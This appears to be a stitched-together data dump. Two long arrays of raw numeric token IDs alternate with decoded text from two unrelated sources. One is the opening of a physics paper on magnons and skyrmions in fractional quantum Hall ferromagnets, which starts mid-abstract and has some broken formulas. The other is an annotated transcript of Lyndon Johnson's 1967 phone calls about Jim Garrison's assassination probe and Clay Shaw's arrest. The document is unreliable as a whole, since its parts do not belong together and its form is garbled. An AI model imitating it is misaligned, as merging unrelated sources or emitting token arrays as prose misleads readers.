94, 426, 495, 427, 1366, 285, 253, 2803, 275, 6278, 26609, 275, 6354, 14517, 575, 1447, 87, 17, 87, 18, 48808, 3851, 4428, 9136, 273, 370, 91, 64, 74, 5, 598, 281, 370, 19, 427, 5, 352, 3637, 326, 253, 1142, 14, 71, 693, 279, 5508, 641, 669, 8616, 17840, 11326, 91, 8795, 476, 320, 9924, 273, 45228, 342, 370, 78, 5, 432, 370, 17, 5, 281, 370, 47, 1352, 831, 25097, 247, 581, 14, 936, 14, 531, 10603, 875, 253, 5058, 2341, 48843, 273, 253, 370, 55, 64, 17, 428, 657, 64, 18, 5, 1892, 14, 6443, 1566, 12868, 2803, 669, 3023, 426, 393, 3023, 3503, 559, 19, 370, 285, 253, 2120, 1142, 14, 71, 693, 279, 23326, 2317, 387, 669, 3023, 14680, 3023, 3503, 1352, 1198, 370, 76, 64, 35, 308, 5, 1199, 4577, 685, 370, 55, 64, 17, 5, 285, 370, 55, 64, 18, 1366, 253, 1892, 14, 6443, 1566, 370, 46, 9, 53, 1009, 387, 669, 3023, 426, 495, 5, 588, 320, 8931, 281, 370, 46, 9, 53, 1009, 323, 247, 1327, 14, 47787, 6488, 985, 387, 669, 3023, 426, 337, 18965, 3318, 46, 768, 10431, 1603, 53, 10, 426, 427, 393, 1906, 64, 35, 393, 12505, 73, 5081, 3442, 64, 91, 1227, 577, 465, 64, 35, 308, 481, 187, 61, 1968, 92, 87, 17, 87, 18, 6972, 649, 2138, 831, 906, 943, 320, 2429, 342, 326, 1327, 14, 47787, 14465, 387, 253, 1072, 12868, 2803, 27, 3318, 46, 768, 13652, 1603, 53, 10, 426, 427, 393, 1906, 64, 35, 393, 1124, 92, 393, 39281, 5081, 3442, 64, 91, 1227, 374, 465, 64, 35, 308, 3117, 187, 92, 1182, 559, 393, 39813, 1035, 3442, 64, 91, 1227, 374, 465, 64, 35, 308, 3117, 15, 187, 61, 1968, 92, 4160, 565, 6972, 649, 2138, 835, 370, 91, 426, 393, 4347, 1035, 1906, 16, 76, 64, 35, 308, 34454, 310, 253, 33067, 10757, 534, 13, 323, 669, 3023, 426, 18, 16, 78, 1366, 7274, 697, 4869, 1318, 370, 18, 5624, 19, 78, 14, 18, 4244, 347, 370, 53, 393, 936, 393, 3259, 18965, 1764, 1124, 92, 18, 1217, 78, 94, 426, 393, 1124, 92, 91, 2704, 4347, 1035, 3442, 16, 19, 465, 64, 35, 308, 10, 559, 91, 94, 559, 187, 61, 1124, 92, 91, 2704, 4347, 19724, 3442, 16, 19, 465, 64, 35, 308, 10, 559, 91, 94, 187, 61, 1968, 92, 71, 814, 10757, 2138, 733, 3637, 326, 1892, 14, 6443, 1566, 6355, 3921, 25737, 4622, 4796, 370, 46, 9, 53, 4244, 387, 669, 3023, 426, 337, 16, 20, 1366, 275, 7344, 342, 253, 1846, 18276, 10732, 273, 6431, 285, 5921, 8655, 5508, 28565, 15, 187, 187, 1231, 1024, 1908, 271, 6508, 1892, 14, 6443, 1566, 323, 534, 370, 55, 64, 17, 5, 285, 370, 55, 64, 18, 5, 403, 29607, 1781, 13, 533, 370, 55, 64, 19, 5, 310, 671, 1327, 14, 10528, 15, 844, 588, 9059, 1996, 326, 436, 1566, 28174, 253, 17718, 273, 253, 13318, 15958, 4112, 15, 380, 2879, 10585, 43191, 1624, 35408, 253, 44877, 2190, 253, 1698, 2341, 48843, 273, 253, 1892, 14, 6443, 1566, 15, 496, 5270, 309, 359, 1618, 1142, 14, 25268, 9216, 257, 1326, 447, 323, 253, 3216, 1375, 387, 669, 3023, 426, 18, 16, 20, 5, 285, 323, 3054, 342, 6919, 595, 6636, 21582, 466, 732, 9036, 285, 21582, 6356, 3841, 285, 2710, 7007, 3904, 313, 44, 10, 273, 13891, 27923, 15, 844, 806, 3877, 253, 13711, 3910, 875, 253, 21582, 532, 14600, 285, 21582, 6356, 1306, 1543, 15, 26329, 5016, 2341, 21582, 6356, 1306, 3054, 2826, 387, 512, 2193, 273, 370, 44, 5, 285, 403, 2905, 281, 253, 5058, 2341, 3054, 273, 253, 669, 3023, 426, 337, 5, 370, 55, 64, 17, 393, 570, 470, 5, 1892, 14, 6443, 1566, 407, 253, 1072, 669, 11510, 578, 74, 29, 75, 94, 313, 91, 64, 74, 428, 1182, 64, 75, 4800, 19, 5, 2803, 326, 4620, 275, 6354, 14517, 575, 1447, 87, 17, 87, 18, 48808, 8001, 496, 253, 669, 3023, 30, 18, 5, 1083, 13, 253, 1781, 370, 44, 5, 5058, 2341, 21582, 6356, 1306, 3054, 2723, 683, 3023, 18, 10984, 6443, 62, 281, 253, 8467, 1109, 279, 683, 84, 857, 5801, 62, 1755, 11220, 6636, 5508, 14, 1156, 980, 273, 8946, 1673, 11813, 15, 844, 956, 2045, 3946, 285, 3730, 281, 512, 253, 21582, 6356, 3841, 342, 370, 44, 393, 463, 337, 5, 347, 8467, 1109, 279, 3054, 15, 1198, 669, 3023, 426, 337, 5, 8091, 14, 13928, 10377, 683, 4742, 545, 14774, 62, 23632, 326, 8467, 1109, 279, 21582, 532, 14600, 3054, 3176, 323, 370, 44, 393, 463, 374, 5, 285, 326, 841, 452, 253, 1072, 10096, 273, 2341, 327, 370, 44, 5, 347, 253, 21582, 6356, 1306, 3054, 15, 844, 476, 9441, 432, 5270, 309, 326, 13, 3738, 21582, 532, 14600, 14, 371, 284, 6356, 1306, 10377, 1057, 417, 2186, 323, 669, 3023, 426, 337, 16, 20, 1366, 21582 ]	Analytic calculations for hard-core model systems are used to demonstrate that, in the fractional case, interactions [suppress]{} the magnetization at finite temperatures and that particle-hole excitations rather than long-wavelength magnons control $M(T)$ at low $T$.' address: - '$^1$Department of Physics, Indiana University, Bloomington, IN 47405, USA' - '$^2$Departamento de Física Teórica de la Materia Condensada, Universidad Autónoma de Madrid, Cantoblanco, Madrid 28049, Spain' author: - 'A. H. MacDonald$^1$ and J. J. Palacios$^{1,2}$' title: Magnons and Skyrmions in Fractional Hall Ferromagnets --- The many-particle physics of two-dimensional (2D) electron systems in a strong perpendicular magnetic field is enriched by the macroscopic degeneracy of a Landau band. Interactions in this system cannot be treated perturbatively and the electronic system can occur in one of a variety[@dassarmapinczuk] of non-Fermi-liquid states, depending on the Landau level filling factor $\nu = N/N_{\phi}$. (Here $N$ is the number of electrons, $N_{\phi} = A B / \Phi_0 $ is the degeneracy of the Landau band, $A$ is the system area, $B$ is the magnetic field strength, and $\Phi_0$ is the electron magnetic flux quantum.) Our interest here is in the strong ferromagnet ($S=N/2$) states which occur at $\nu = 1/m$ and $\nu = 2 -1/m$ for odd integers $m$.[@smgahminbook] Interest in these states has grown with the development of NMR[@BarrettNMR] and other[@other] techniques which allow the spin-magnetization $M(T)$ and other spin-dependent properties to be measured. Until recently, experimental data on $M(T)$ has been available only at $\nu = 1$ state. In this case $M(T)$ remains large at temperatures $T$ well above the Zeeman temperature $T_z = g^{} \mu_B B/ k_B \equiv \Delta_z/k_B $. (Here $\mu_B$ is the electron Bohr magneton and $g^{}$ is the host semiconductor g-factor.) The present work is motivated by new experimental results[@barrettyale] which show that for $\nu =1/3$, both the shape of the $M(T)$ curve and the temperature scale on which $M$ drops to small values are altered. The objective of this work is to explain this difference on a qualitative level. We propose that the difference is due to inversion of the relationship between collective magnon and particle-hole excitation energies and contrast the microscopic physics of quantum Hall ferromagnets at integer and fractional filling factors, by discussing the properties of hard-core model systems. Analytic calculations for these models are used to demonstrate that, in the fractional case, interactions [suppress]{} the magnetization at finite temperatures. Exact diagonalization calculations for realistic interaction models support the applicability of hard-core model qualitative considerations to experimental systems. In the quantum Hall regime, the kinetic energy term in the Hamiltonian enters only through the constraint that the interacting electrons must lie in the lowest available orbital Landau level. This constraint is most conveniently enforced in the symmetric gauge[@leshouches] for which the allowed single-particle orbitals are eigenstates of $L_z$ and have the form $$\phi_m(z) = \frac{z^m}{(2^{m+1} \pi m!)^{1/2}} \exp ( - \|z\|^2/4) \label{singpart}$$ where $z = x - i y$ is the complex 2D coordinate, $m = 0,1, \ldots, N_{\phi-1}$ and we have chosen $\ell \equiv (\hbar c /e B)^{1/2}$ as the unit of length. Pairs of electrons also have only one available relative motion state for each angular momentum, $\phi_m^{rel}(z-z') = \phi_m((z-z')/\sqrt{2})/\sqrt{2}$. Consequently the interaction term in the Hamiltonian is completely characterized by the Haldane pseudopotentials[@reftohaldane] $V_m \equiv \langle \phi_m^{rel} \| V(r) \| \phi_m^{rel} \rangle$. For realistic interaction models, $V_m$ decreases monotonically with $m$. Interaction physics in the quantum Hall regime is often usefully addressed by considering hard-core models where only the lowest few $V_m$ are non-zero, and $V_{m+1}/V_{m}$ is small enough that each successive pseudopotential defines a separate energy scale and resolves the many-particle energy spectrum more finely. A useful orientation is the hard-core model with $V_0$ and $V_1$ arbitrarily large and all other pseudopoentials set to zero. For this model, finite energy eigenstates necessarily have zero probability amplitude for finding pairs of electrons in states with relative angular momenta $0$ and $1$, and therefore can be written in the form[@murray; @dziarmaga] $$\Psi[z] = \big[ \prod_{i<j}^{N} (z_i - z_j)^2 \big] \Psi^{} [z] \label{v0v1wf}$$ where $\Psi^{}[z]$ is a many-fermion spinor. Since the maximum single-particle $m$ at $\nu = 1/3$ is $N_{\phi} = 3 N$, and the factor in square brackets in Eq.( \[v0v1wf\]) contains powers of $z_i$ up to $2 N$ it follows that the many-fermion spinors $\Psi^{}[z]$ can be composed of orbitals with $m$ from $0$ to $N$. This establishes a one-to-one mapping between the zero energy eigenstates of the $V_0 - V_1$ hard-core model filling factor $\nu = \nu^ +2 $ and the full many-fermion Hilbert space at $\nu =\nu^$. For $k_B T$ much smaller than $V_0$ and $V_1$, the hard-core model $M(T)$ at $\nu = 3$ will be identical to $M(T)$ for a non-interacting electron system at $\nu = 1$: $$M^{HC}(T) = N \mu_B \tanh (\Delta_z / 4 k_B T). \label{v0v1moft}$$ This result should be compared with that non-interacting electrons at the same filling factor: $$M^{NI}(T) = N \mu_B \frac{ \sinh (\Delta_z / 2 k_B T)} { z + \cosh(\Delta_z / 2 k_B T)}. \label{nonintmoft}$$ where $z = \exp(\mu/k_B T )$ is the fugacity which, for $\nu =1/m$, approaches its maximum value $1/(2m-1)$, as $T \to \infty$: $$\frac{1}{m} = \frac{z}{\exp(\Delta/2 k_B T) +z} + \frac{z}{\exp(-\Delta/2 k_B T) +z} \label{fugacity}$$ It follows that hard-core model interactions [always*]{} reduce $M(T)$, at $\nu = 1/3$, in conflict with the common qualitative notion of exchange and correlation enhanced spin magnetization. We now consider an extended hard-core model for which $V_0$ and $V_1$ are arbitrarily large, but $V_2$ is also non-zero. We will argue later that this model captures the essence of the physically realistic situation. The added pseudopotential lifts the degeneracy among the low energy eigenstates of the hard-core model. In Table I we list many-particle eigenenergies for the ground state at $\nu =1/3$ and for states with fractionally charged quasielectrons and quasiholes and various integer numbers (K) of reversed spins. We first note the gross differences between the quasiparticle and quasihole results. Zero interaction energy quasihole states occur at all values of $K$ and are related to the zero energy states of the $\nu = 1$ $V_0 \ne 0$ hard-core model by the same $\prod_{i<j} (z_i - z_j)^2$ factor that appears in Eq.( \[v0v1wf\]). In the $\nu=1$ case, the large $K$ zero energy quasihole states correspond[@nu1hardcore] to the skyrmion[@sondhi] topologically charged spin-textures of classical field theories. We follow previous practice and refer to all the quasiholes with $K \ge 1$ as skyrmion states. For $\nu = 1$ particle-hole symmetry[@kyphsym] guarantees that skyrmion quasiparticle states appear for $K \ge 2$ and that these have the same dependence of energy on $K$ as the quasihole states. We can infer from Table I that, although quasiparticle-quasihole symmetry does not hold for $\nu = 1/3$, quas
[ 12486, 62, 598, 327, 253, 7061, 1051, 285, 1918, 779, 816, 752, 368, 1849, 2183, 479, 670, 436, 2644, 5406, 13, 594, 344, 2506, 626, 755, 3206, 342, 247, 4956, 3908, 15, 187, 187, 424, 2019, 782, 6098, 17410, 8057, 32, 187, 187, 424, 32336, 6098, 11739, 15, 187, 187, 424, 2019, 782, 6098, 6089, 13, 326, 434, 1051, 326, 2119, 1051, 604, 326, 651, 320, 3576, 13, 359, 2119, 12758, 66, 513, 352, 13, 984, 544, 664, 1849, 62, 12759, 275, 1512, 2080, 2168, 15, 187, 187, 424, 32336, 6098, 795, 30271, 64, 1512, 2080, 1051, 597, 12758, 66, 871, 352, 15, 187, 187, 424, 2019, 782, 6098, 11739, 15, 309, 544, 5092, 62, 755, 987, 281, 326, 13, 309, 1833, 513, 1128, 187, 187, 424, 32336, 6098, 309, 1871, 816, 513, 352, 1024, 15, 544, 42, 1871, 62, 816, 1333, 544, 936, 18718, 8057, 1092, 604, 368, 476, 1408, 407, 1060, 13, 390, 604, 309, 476, 1408, 923, 368, 13, 309, 1158, 309, 12758, 66, 2319, 690, 273, 841, 1841, 15, 1244, 309, 651, 1056, 779, 544, 12486, 62, 1705, 407, 627, 16092, 13, 390, 1408, 407, 521, 10230, 15, 4923, 344, 816, 1051, 32299, 432, 253, 13290, 285, 2506, 626, 871, 752, 344, 434, 2312, 249, 8, 670, 15, 309, 1158, 544, 338, 62, 352, 1871, 320, 327, 816, 4114, 13, 368, 1833, 755, 247, 1652, 1805, 544, 6870, 1570, 19619, 15, 187, 187, 424, 2019, 782, 6098, 25913, 13, 8674, 15, 187, 187, 424, 32336, 6098, 309, 1833, 1067, 368, 3164, 275, 253, 34927, 249, 5983, 8948, 368, 1537, 1705, 407, 1078, 309, 755, 689, 432, 253, 544, 12560, 4995, 62, 353, 6232, 835, 359, 1053, 626, 755, 21018, 15, 3245, 187, 187, 817, 1401, 18489, 374, 424, 187, 187, 4118, 8216, 50276, 187, 4509, 2516, 27301, 595, 1227, 898, 27, 1423, 268, 15, 78, 15, 187, 187, 2447, 1257, 4304, 296, 281, 253, 3345, 1533, 13, 846, 5119, 20496, 6595, 434, 2471, 2067, 273, 8438, 443, 27995, 434, 1755, 44400, 452, 38720, 779, 281, 5926, 521, 18512, 22993, 5839, 13, 534, 597, 923, 347, 1469, 17663, 3809, 15, 20496, 6595, 434, 5982, 40580, 310, 247, 14072, 5107, 13, 597, 2028, 253, 20159, 38007, 3286, 6834, 13, 984, 352, 3400, 247, 3962, 16267, 15, 2726, 521, 5575, 346, 21063, 5517, 3, 3846, 13, 443, 27995, 476, 3552, 4360, 9059, 326, 253, 5839, 2550, 4035, 15, 346, 6723, 368, 10412, 865, 443, 27995, 27019, 15, 346, 5498, 626, 368, 8968, 326, 359, 403, 327, 253, 39931, 273, 16161, 581, 273, 253, 12137, 273, 253, 5331, 865, 2759, 187, 187, 2374, 3919, 337, 443, 27995, 331, 4539, 1457, 20159, 1128, 395, 2067, 16099, 285, 17085, 275, 521, 1211, 3906, 1128, 1615, 15824, 253, 5263, 273, 21710, 24999, 13, 253, 14373, 14419, 6423, 273, 253, 5625, 17061, 5794, 15, 733, 310, 11467, 33917, 281, 1457, 2816, 434, 3286, 6834, 47239, 6911, 25084, 323, 772, 46496, 281, 18111, 4024, 3918, 16598, 15, 24999, 434, 17061, 5794, 13, 795, 783, 64, 27934, 30951, 275, 253, 2846, 434, 1629, 36226, 13, 310, 5506, 323, 37078, 3629, 253, 6427, 6460, 273, 1457, 20159, 347, 247, 15076, 2245, 285, 556, 644, 516, 15281, 407, 5454, 14, 23674, 8238, 1475, 253, 1533, 15, 23449, 432, 24999, 434, 29774, 12681, 347, 581, 273, 253, 2846, 434, 954, 12368, 11574, 285, 35857, 14, 23674, 2136, 3767, 13, 344, 310, 1682, 1929, 12171, 323, 45200, 253, 1501, 7523, 45081, 273, 253, 14464, 5112, 29787, 13, 285, 323, 1146, 247, 22694, 27736, 48605, 665, 476, 1750, 16091, 8757, 347, 247, 3331, 15, 380, 13719, 14, 12496, 14, 2913, 14, 744, 24999, 556, 1620, 644, 7939, 13, 1199, 1679, 6949, 13, 275, 4602, 342, 253, 34024, 273, 3918, 16598, 13, 285, 253, 2846, 310, 21413, 21407, 777, 407, 253, 3668, 15, 11706, 13, 285, 3738, 1457, 20159, 556, 2326, 625, 685, 697, 3894, 273, 30820, 1345, 6338, 9583, 275, 42326, 6993, 13, 253, 5649, 273, 253, 5545, 11521, 281, 443, 27995, 15, 29578, 952, 13, 3345, 24999, 434, 9096, 273, 28262, 1972, 285, 521, 16099, 13, 2868, 326, 247, 3286, 6834, 651, 320, 795, 601, 64, 32397, 285, 3496, 37882, 347, 281, 5263, 247, 637, 1293, 6832, 1941, 15, 10036, 253, 35531, 310, 3735, 27, 443, 27995, 795, 18265, 452, 1633, 4414, 187, 187, 6872, 3394, 46196, 347, 6112, 14176, 2516, 27301, 595, 310, 327, 247, 32223, 4143, 281, 1457, 2816, 15, 380, 16545, 37579, 273, 253, 16700, 5694, 68, 796, 310, 1345, 3006, 253, 1735, 1533, 434, 4344, 13, 534, 310, 11526, 281, 1527, 275, 5003, 18089, 275, 4162, 16221, 15, 3900, 27301, 595, 310, 16535, 327, 11365, 4116, 323, 253, 6112, 47284, 13, 1457, 2816, 16817, 760, 971, 281, 1642, 779, 670, 253, 42390, 3668, 273, 271, 4588, 5263, 15, 2227, 2596, 1457, 2816, 5553, 3668, 19564, 1128, 56, 11965, 13, 4102, 11516, 281, 247, 2164, 16, 24, 3668, 5981, 1128, 261, 3782, 15211, 281, 1056, 247, 1616, 323, 3139, 285, 14177, 281, 7171, 512, 643, 23812, 13, 1014, 253, 6371, 3238, 13, 342, 253, 6323, 16936, 15, 411, 11965, 28070, 5012, 432, 253, 15670, 434, 3906, 2761, 2336, 37438, 13, 970, 346, 266, 32505, 365, 607, 494, 2603, 937, 954, 2779, 443, 27995, 2994, 15, 2691, 380, 15198, 763, 9610, 6524, 4850, 281, 27301, 595, 13, 665, 556, 1900, 15038, 433, 342, 253, 4342, 273, 253, 17966, 5399, 5747, 521, 973, 14, 4387, 1025, 3910, 689, 253, 346, 20199, 16950, 3762, 449, 3032, 5306, 3396, 36712, 13, 1024, 253, 14176, 2506, 626, 871, 752, 281, 1158, 15, 26502, 8216, 7237, 344, 21936, 281, 2312, 281, 253, 4007, 15, 187, 187, 31201, 595, 3164, 21973, 253, 4007, 281, 320, 48515, 323, 767, 4606, 15, 380, 14176, 6057, 326, 627, 310, 2223, 247, 11882, 25922, 16535, 281, 7902, 434, 4680, 15, 496, 1635, 13, 253, 2926, 27301, 595, 310, 4854, 43603, 6911, 16598, 275, 247, 1077, 24038, 1708, 15, 1292, 7902, 556, 3715, 247, 8729, 1504, 5491, 12046, 670, 443, 27995, 434, 11307, 795, 395, 64, 34024, 14777, 24628, 6828, 1411, 34192, 1309, 253, 16598, 5286, 15, 2597, 2726, 1675, 281, 253, 3438, 13, 253, 12578, 556, 18648, 13762, 253, 4007, 326, 443, 27995, 310, 247, 1018, 13324, 266, 285, 326, 2717, 344, 2296, 16108, 4092, 4116, 15, 16257, 13, 41216, 10188, 284, 556, 8042, 562, 281, 7902, 816, 849, 2120, 273, 11385, 253, 30864, 25065, 2926, 3133, 281, 320, 2220, 2810, 15981, 15, 187, 187, 34, 2129, 1078, 13, 253, 443, 27995, 10304, 285, 25065, 2926, 20845, 281, 28432, 1016, 643, 275, 7902, 434, 2564, 15, 3954, 253, 12578, 434, 1262, 433, 2996, 273, 443, 27995, 13, 2112, 342, 10188, 284, 434, 24626, 13, 12186, 460, 779, 281, 1158, 326, 253, 34192, 29995, 2926, 310, 816, 347, 4956, 285, 43126, 4552, 347, 2712, 3551, 562, 273, 1457, 20159, 15, 187, 187, 424, 32336, 6098, 544, 42, 1353, 62, 4030, 13, 22810, 15, 187, 187, 424, 31201, 595, 6098, 309, 1353, 7016, 281, 15105, 368, 15, 2615, 368, 8028, 281, 479, 323, 670, 2620, 2909, 32, 187, 187, 424, 32336, 6098, 15594, 15, 187, 187, 424, 31201, 595, 6098, 1876, 1388, 3063, 309, 452, 644, 20114, 598, 1060, 1051, 597, 1472, 23265, 10155, 6281, 327, 436, 795, 45097, 1974, 64, 2181, 1051, 1754, 327, 752, 436, 269, 5021, 13, 436, 15670, 275, 1457, 20159, 12088, 670, 13, 544, 2520, 15670, 62, 4907, 443, 27995, 15, 50276, 187, 42, 452, 816, 644, 20114, 795, 16245, 4414, 1244, 273, 2282, 13, 309, 816, 3365, 1333, 326, 309, 871, 795, 26142, 64, 670, 352, 15, 1292, 247, 3668, 1342, 4907, 5171, 6212, 556, 816, 644, 1060, 281, 4572, 479, 969, 15, 1583, 452, 247, 1048, 2926, 327, 253, 5553, 11608, 13, 689, 411, 11965, 13, 247, 3668, 5553, 4660, 1060, 275, 1457, 2816, 15, 2055, 3976, 2205, 42073, 310, 253, 544, 56, 11965, 62, 2087, 7205, 15, 754, 434, 644, 2312, 249, 8, 281, 479, 745, 285, 327, 512, 1388, 285, 1611, 249, 8, 281, 1978, 479, 9269, 327, 352, 15, 2511, 1583, 544, 56, 11965, 62, 24628, 452, 247, 2926, 432, 247, 637, 665, 3047, 253, 4367, 275, 443, 27995, 434, 3906, 1051, 344, 310, 253, 15670, 275, 1457, 20159, 15, 309, 1053, 626, 452, 253, 795, 40338, 64, 2926, 13, 533, 1060, 434, 752, 597, 1333, 15, 50276, 187, 2773, 443, 27995, 556, 1491, 326, 651, 5276, 326, 627, 497, 795, 12496, 64, 34024, 544, 442, 1317, 62, 1051, 795, 515, 515, 968, 64, 275, 253, 1986, 2077, 13, 2197, 1060, 407, 544, 39, 5735, 62, 34192, 13, 390, 34192, 434, 952, 15, 544, 29710, 62, 417, 407, 34192, 2994, 13, 533, 581, 273, 521, 7027, 10284, 1103, 15, 2596, 2285, 369, 5055, 598, 275, 1457, 2816, 1051, 533, 795, 14958, 64, 417, 1051, 369, 5055, 598, 285, 20114, 407, 253, 12578, 285, 253, 7743, 6631, 13, 533, 858, 417, 10313, 247, 1270, 2968, 273, 1491, 534, 369, 795, 15735, 4414, 50276, 187, 4041, 273, 253, 6671, 369, 9924, 273, 8652, 24611, 45530, 8950, 28, 436, 269, 5021, 544, 2019, 333, 62, 24999, 13, 326, 556, 816, 644, 9833, 275, 1457, 20159, 11066, 28, 285, 253, 544, 615, 336, 833, 62, 637, 544, 19389, 5119, 62, 20496, 6595, 28, 5043, 581, 795, 977, 64, 637, 15, 1583, 497, 6671, 273, 1740, 15, 1244, 627, 497, 767, 795, 977, 64, 6671, 326, 309, 871, 2717, 670, 15, 50276, 187, 56, 11965, 13951, 556, 574, 690, 16817, 13, 2556, 281, 253, 3420, 1060, 13, 275, 795, 36, 25642, 64, 1051, 2444, 327, 2710, 14636, 273, 436, 2181, 323, 253, 2469, 544, 37922, 62, 1897, 15, 1583, 671, 452, 247, 2285, 273, 16817, 795, 249, 64, 1457, 20159, 795, 3113, 64, 443, 27995, 15, 496, 24605, 597, 1119, 13, 2556, 1128, 60, 395, 62, 436, 310, 795, 635, 64, 18987, 13, 285, 795, 455, 64, 273, 436, 310, 417, 564, 249, 8, 327, 253, 2329, 1051, 795, 255, 512, 4414, 2270, 1292, 275, 24605, 1051, 285, 253, 767, 16817, 326, 597, 574, 627, 497, 2444, 432, 1027, 14636, 285, 2210, 2366, 342, 795, 911, 24374, 64, 253, 1072, 2926, 15, 50276, 187, 510, 2926, 1128, 3529, 597, 1472, 795, 1439, 64, 1469, 281, 15452, 1128, 261, 326, 846, 253, 544, 32796, 62, 22822, 8891, 13, 3918, 16598, 285, 544, 39104, 5741, 62, 611, 6285, 2345, 45627, 574, 1160, 247, 2968, 281, 3553, 34192, 275, 1612, 15, 1292, 670, 2800, 2607, 846, 253, 22822, 8891, 369, 795, 1189, 64, 1157, 253, 17879, 369, 795, 249, 2855, 264, 64, 281, 18111, 4024, 34192, 1051, 285, 2197, 6671, 715, 24605, 15, 3808, 273, 686, 358, 497, 10848, 285, 37274, 13, 285, 34192, 285, 521, 952, 1128, 395, 309, 5467, 4661, 443, 489, 2044, 66, 1128, 28996, 253, 2644, 2926, 15, 4739, 380, 1491, 597, 452, 1060, 13, 534, 597, 1472, 795, 1439, 64, 6501, 1408, 13, 310, 326, 3918, 16598, 858, 795, 1439, 64, 544, 1065, 62, 253, 1340, 281, 253, 17879, 13, 533, 326, 690, 795, 977, 64, 1436, 6685, 2810, 281, 3918, 16598, 795, 14958, 4414, 1583, 858, 417, 1416, 253, 637, 1051, 533, 253, 17032, 369, 1077, 2590, 15, 380, 795, 249, 1793, 64, 369, 1051, 326, 352, 369, 521, 795, 41978, 64, 544, 10002, 62, 6960, 253, 17879, 281, 5007, 247, 2285, 715, 24605, 281, 18111, 4024, 34192, 15, 2635, 581, 273, 34192, 434, 795, 9114, 10284, 1103, 64, 1157, 347, 247, 30667, 261, 267, 2557, 13, 2197, 1740, 6671, 275, 60, 936, 62, 253, 1986, 2077, 281, 18111, 4024, 3918, 16598, 15, 544, 1898, 62, 326, 8652, 24611, 45530, 8950, 795, 4238, 64, 544, 531, 273, 253, 62, 2758, 273, 253, 2285, 6498, 562, 273, 1457, 20159, 15, 50276, 187, 4125, 436, 310, 253, 2926, 326, 597, 795, 18959, 64, 597, 452, 15, 831, 310, 253, 1491, 326, 369, 1677, 281, 479, 11608, 13, 1679, 685, 271, 4964, 3622, 13, 407, 247, 12726, 4907, 5171, 6212, 13, 665, 2210, 1060, 281, 544, 249, 2855, 62, 3976, 2205, 42073, 13, 5207, 309, 3260, 275, 6112, 15, 544, 19334, 570, 369, 62, 247, 5553, 637, 1066, 627, 13, 285, 344, 434, 1024, 253, 2087, 7205, 273, 411, 11965, 15, 50276, 187, 42, 1869, 436, 651, 320, 273, 1600, 281, 368, 15, 309, 871, 2717, 625, 670, 352, 685, 326, 13, 533, 309, 1869, 368, 12758, 66, 871, 326, 15, 187, 187, 424 ]	Long] up on the Hill... and give him just what you've told me about this whole picture, so he doesn't get involved with a wild statement. Clark: Russell Long? Johnson: Yeah. Clark: Well, that's... that sure... if that would be effective, we sure oughta do it, because [we've] gotten in too far already. Johnson: _Much_ too far... they oughta know it. Clark: Yeah. I [can] get right to that, I'll do— Johnson: I'd just do it now. [I'd] just say [to Senator Long], if you can run by here, or if I can run see you, I think I oughta discuss some of these things. And I would make him [Long] come by there quietly, or run by his apartment. Because he just... shoots from the hip and doesn't know what he's talkin' about. I think [if] it'd be on just background, you'll get a little better [result]. Okay. Clark: Fine, sir. Johnson: I'll call you probably in the mornin'. Maybe you might come by before I get over from the [Executive] Mansion where we don't get interrupted.83 ## March 2 ### Thursday From John Connally / 9:22 p.m. Unbeknownst to the outside world, after David Ferrie's death several of Jim Garrison's top aides have begged him to drop his faltering investigation, which they see as going nowhere fast. Ferrie's sudden demise is a golden opportunity, they tell the Orleans Parish district attorney, because it provides a perfect excuse. With his alleged "chief witness" dead, Garrison can credibly argue that the investigation cannot continue. "Are you crazy?" Garrison responds. "Don't you realize that we are on the verge of solving one of the crimes of the century?"84 On March 1 Garrison stuns New Orleans—and several lawyers and investigators in his own office—by ordering the arrest of Clay Shaw, the retired managing director of the International Trade Mart. It is roughly akin to New York's district attorney arresting Robert Moses for conspiring to assassinate President Kennedy. Shaw's Trade Mart, _the_ architectural landmark in the city's skyline, is responsible for vastly increasing the attractiveness of New Orleans as a shipping port and has been imitated by trade-minded cities around the world. Apart from Shaw's deserved reputation as one of the city's most esteemed and civic-minded businessmen, he is best known locally for pioneering the postwar renovation of the historic French Quarter, and for being a respected amateur playwright who can claim Tennessee Williams as a friend. The fifty-four-year-old Shaw has never been linked, much less investigated, in connection with the assassination of President Kennedy, and the city is dumbstruck by the news. Still, and although New Orleans has seen more than its share of colorful public officials engaged in dubious acts, the benefit of the doubt falls to Garrison. Few people, outside Shaw's circle of acquaintances and his lawyers, believe that a district attorney would be _so_ reckless and irresponsible as to arrest a man without substantial evidence. Again the refrain is heard: Garrison _must have something_. These events unfold as Texas governor John Connally is on a promotional visit to New York. The wounded survivor of the Dallas motorcade is publicizing the next world's fair, which is scheduled to open in San Antonio in April 1968. While Connally is bent on generating attention for the Texas exposition, New York reporters only want to ask him about the startling news of an actual arrest.85 One New York radio news outlet—WINS, recently converted to a 24/7 news format—is particularly eager to make a mark for itself and tries to beat all other outlets, even the wire services, with the latest developments. WINS cites reports from the DA's office almost verbatim, using "an unimpeachable source," most likely Garrison himself.86 The feverish reporting eventually gets to Connally, who has always concurred with the findings of the Warren Commission despite his well-publicized differences over the "single bullet theory." His certitude shaken, now the governor doesn't know what to think. Late Thursday evening he decides to talk to the president. Connally probably expects the president to be intrigued for two reasons. The governor knows that there is often a conspiratorial bent to Johnson's thinking. In addition, the story Connally is hearing casts Robert Kennedy in a very damaging light. But Johnson has developed a jaundiced attitude about Garrison's allegations _and_ assassination plots supposedly directed against Castro during the Kennedy administration.87 With respect to the former, the FBI has firmly convinced the president that Garrison is a charlatan and that nothing he says merits serious attention. Meanwhile, Abe Fortas has pointed out to Johnson just how full of holes the Drew Pearson story seems to be upon close inspection. A week before, the Garrison probe and Pearson story tended to reinforce each other in Johnson's mind. Now the FBI's discrediting of Garrison, along with Fortas's doubts, incline him to think that the Castro retaliation story is just as wild and fanciful as anything coming out of New Orleans. Johnson: [I'm] fine, Johnny. Connally: I'm sorry to bother you. Can you listen to me for about five minutes? Johnson: Sure. Connally: All day today I have been interviewed up here... they're continually breaking stories on this _conspiracy_ thing... based on what this fella, this DA in New Orleans talks about, [this DA] named Garrison. I have just been interviewed _again_. And of course, I just simply say that I know _nothing_ about it. But a newsman named Paul Smith has just been here to interview me again. They have a long story on the radio tonight, over WINS, a news radio station here in New York.88 Charley Payne is the [WINS] general manager. He's been talkin' to me off and on all day and tryin' to keep me posted on it.89 They [WINS] supposedly have a story from a man who saw the files in Garrison's office... he is the DA in New Orleans. I don't have the _whole_ story, but here's what they say. That Garrison has information that would prove that there were _four_ assassination [teams]... _assassins_ in the United States, sent here by [Fidel] Castro, or Castro's people. [Sent] not by Castro himself, but one of his lieutenants. One team was picked up in New York... but _did_ not... was 